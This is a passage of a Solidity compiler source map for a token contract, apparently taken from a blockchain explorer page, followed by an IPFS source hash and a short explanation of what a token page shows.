0:129;10808:2;10834:64;10890:7;10881:6;10870:9;10866:22;10834:64;:::i;:::-;10824:74;;10779:129;10252:663;;;;;:::o;10921:332::-;11042:4;11080:2;11069:9;11065:18;11057:26;;11093:71;11161:1;11150:9;11146:17;11137:6;11093:71;:::i;:::-;11174:72;11242:2;11231:9;11227:18;11218:6;11174:72;:::i;:::-;10921:332;;;;;:::o;11259:116::-;11329:21;11344:5;11329:21;:::i;:::-;11322:5;11319:32;11309:60;;11365:1;11362;11355:12;11309:60;11259:116;:::o;11381:137::-;11435:5;11466:6;11460:13;11451:22;;11482:30;11506:5;11482:30;:::i;:::-;11381:137;;;;:::o;11524:345::-;11591:6;11640:2;11628:9;11619:7;11615:23;11611:32;11608:119;;;11646:79;;:::i;:::-;11608:119;11766:1;11791:61;11844:7;11835:6;11824:9;11820:22;11791:61;:::i;:::-;11781:71;;11737:125;11524:345;;;;:::o;11875:225::-;12015:34;12011:1;12003:6;11999:14;11992:58;12084:8;12079:2;12071:6;12067:15;12060:33;11875:225;:::o;12106:366::-;12248:3;12269:67;12333:2;12328:3;12269:67;:::i;:::-;12262:74;;12345:93;12434:3;12345:93;:::i;:::-;12463:2;12458:3;12454:12;12447:19;;12106:366;;;:::o;12478:419::-;12644:4;12682:2;12671:9;12667:18;12659:26;;12731:9;12725:4;12721:20;12717:1;12706:9;12702:17;12695:47;12759:131;12885:4;12759:131;:::i;:::-;12751:139;;12478:419;;;:::o;12903:167::-;13043:19;13039:1;13031:6;13027:14;13020:43;12903:167;:::o;13076:366::-;13218:3;13239:67;13303:2;13298:3;13239:67;:::i;:::-;13232:74;;13315:93;13404:3;13315:93;:::i;:::-;13433:2;13428:3;13424:12;13417:19;;13076:366;;;:::o;13448:419::-;13614:4;13652:2;13641:9;13637:18;13629:26;;13701:9;13695:4;13691:20;13687:1;13676:9;13672:17;13665:47;13729:131;13855:4;13729:131;:::i;:::-;13721:139;;13448:419;;;:::o;13873:171::-;14013:23;14009:1;14001:6;13997:14;13990:47;13873:171;:::o;14050:366::-;14192:3;14213:67;14277:2;14272:3;14213:67;:::i;:::-;14206:74;;14289:93;14378:3;14289:93;:::i;:::-;14407:2;14402:3;14398:12;14391:19;;14050:366;;;:::o;14422:419::-;14588:4;14626:2;14615:9;14611:18;14603:26;;14675:9;14669:4;14665:20;14661:1;14650:9;14646:17;14639:47;14703:131;14829:4;14703:131;:::i;:::-;14695:139;;14422:419;;;:::o;14847:224::-;14987:34;14983:1;14975:6;14971:14;14964:58;15056:7;15051:2;15043:6;15039:15;15032:32;14847:224;:::o;15077:366::-;15219:3;15240:67;15304:2;15299:3;15240:67;:::i;:::-;15233:74;;15316:93;15405:3;15316:93;:::i;:::-;15434:2;15429:3;15425:12;15418:19;;15077:366;;;:::o;15449:419::-;15615:4;15653:2;15642:9;15638:18;15630:26;;15702:9;15696:4;15692:20;15688:1;15677:9;15673:17;15666:47;15730:131;15856:4;15730:131;:::i;:::-;15722:139;;15449:419;;;:::o;15874:180::-;15922:77;15919:1;15912:88;16019:4;16016:1;16009:15;16043:4;16040:1;16033:15;16060:305;16100:3;16119:20;16137:1;16119:20;:::i;:::-;16114:25;;16153:20;16171:1;16153:20;:::i;:::-;16148:25;;16307:1;16239:66;16235:74;16232:1;16229:81;16226:107;;;16313:18;;:::i;:::-;16226:107;16357:1;16354;16350:9;16343:16;;16060:305;;;;:::o;16371:182::-;16511:34;16507:1;16499:6;16495:14;16488:58;16371:182;:::o;16559:366::-;16701:3;16722:67;16786:2;16781:3;16722:67;:::i;:::-;16715:74;;16798:93;16887:3;16798:93;:::i;:::-;16916:2;16911:3;16907:12;16900:19;;16559:366;;;:::o;16931:419::-;17097:4;17135:2;17124:9;17120:18;17112:26;;17184:9;17178:4;17174:20;17170:1;17159:9;17155:17;17148:47;17212:131;17338:4;17212:131;:::i;:::-;17204:139;;16931:419;;;:::o;17356:167::-;17393:3;17416:22;17432:5;17416:22;:::i;:::-;17407:31;;17460:4;17453:5;17450:15;17447:41;;17468:18;;:::i;:::-;17447:41;17515:1;17508:5;17504:13;17497:20;;17356:167;;;:::o;17529:180::-;17577:77;17574:1;17567:88;17674:4;17671:1;17664:15;17698:4;17695:1;17688:15;17715:180;17763:77;17760:1;17753:88;17860:4;17857:1;17850:15;17884:4;17881:1;17874:15;17901:114;17968:6;18002:5;17996:12;17986:22;;17901:114;;;:::o;18021:184::-;18120:11;18154:6;18149:3;18142:19;18194:4;18189:3;18185:14;18170:29;;18021:184;;;;:::o;18211:132::-;18278:4;18301:3;18293:11;;18331:4;18326:3;18322:14;18314:22;;18211:132;;;:::o;18349:108::-;18426:24;18444:5;18426:24;:::i;:::-;18421:3;18414:37;18349:108;;:::o;18463:179::-;18532:10;18553:46;18595:3;18587:6;18553:46;:::i;:::-;18631:4;18626:3;18622:14;18608:28;;18463:179;;;;:::o;18648:113::-;18718:4;18750;18745:3;18741:14;18733:22;;18648:113;;;:::o;18797:732::-;18916:3;18945:54;18993:5;18945:54;:::i;:::-;19015:86;19094:6;19089:3;19015:86;:::i;:::-;19008:93;;19125:56;19175:5;19125:56;:::i;:::-;19204:7;19235:1;19220:284;19245:6;19242:1;19239:13;19220:284;;;19321:6;19315:13;19348:63;19407:3;19392:13;19348:63;:::i;:::-;19341:70;;19434:60;19487:6;19434:60;:::i;:::-;19424:70;;19280:224;19267:1;19264;19260:9;19255:14;;19220:284;;;19224:14;19520:3;19513:10;;18921:608;;;18797:732;;;;:::o;19535:831::-;19798:4;19836:3;19825:9;19821:19;19813:27;;19850:71;19918:1;19907:9;19903:17;19894:6;19850:71;:::i;:::-;19931:80;20007:2;19996:9;19992:18;19983:6;19931:80;:::i;:::-;20058:9;20052:4;20048:20;20043:2;20032:9;20028:18;20021:48;20086:108;20189:4;20180:6;20086:108;:::i;:::-;20078:116;;20204:72;20272:2;20261:9;20257:18;20248:6;20204:72;:::i;:::-;20286:73;20354:3;20343:9;20339:19;20330:6;20286:73;:::i;:::-;19535:831;;;;;;;;:::o;20372:191::-;20412:4;20432:20;20450:1;20432:20;:::i;:::-;20427:25;;20466:20;20484:1;20466:20;:::i;:::-;20461:25;;20505:1;20502;20499:8;20496:34;;;20510:18;;:::i;:::-;20496:34;20555:1;20552;20548:9;20540:17;;20372:191;;;;:::o;20569:348::-;20609:7;20632:20;20650:1;20632:20;:::i;:::-;20627:25;;20666:20;20684:1;20666:20;:::i;:::-;20661:25;;20854:1;20786:66;20782:74;20779:1;20776:81;20771:1;20764:9;20757:17;20753:105;20750:131;;;20861:18;;:::i;:::-;20750:131;20909:1;20906;20902:9;20891:20;;20569:348;;;;:::o;20923:180::-;20971:77;20968:1;20961:88;21068:4;21065:1;21058:15;21092:4;21089:1;21082:15;21109:185;21149:1;21166:20;21184:1;21166:20;:::i;:::-;21161:25;;21200:20;21218:1;21200:20;:::i;:::-;21195:25;;21239:1;21229:35;;21244:18;;:::i;:::-;21229:35;21286:1;21283;21279:9;21274:14;;21109:185;;;;:::o

Swarm Source

ipfs://a7102e639f2a8dcbbc7f54089a9c6c05d04819642703d67d5781cfe66912c169
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.